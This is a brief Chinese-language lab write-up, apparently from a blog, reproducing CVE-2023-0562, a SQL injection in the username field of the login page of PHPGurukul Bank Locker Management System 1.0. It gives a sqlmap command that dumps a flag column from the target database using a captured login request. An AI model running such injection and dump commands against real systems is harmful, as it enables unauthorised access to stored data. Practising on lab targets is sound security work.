CVE-2023-0562银行储物柜管理系统登录页面sql注入漏洞靶场复现

在PHPGurukul银行储物柜管理系统1.0中发现了一个漏洞。它被评定为临界状态。受此问题影响的是组件登录的文件index.php的一些未知功能。对参数username的操作会导致sql注入。攻击可能是远程发起的。该漏洞已被公开,并可能被利用。此漏洞的标识符是VDB-219716。


抓登录包放salmap里跑

爆flag
python sqlmap.py -r bao\4.txt -D blmsdb -T fllllaaaag -C flag --dump

MU5735 R.I.P
浙公网安备 33010602011771号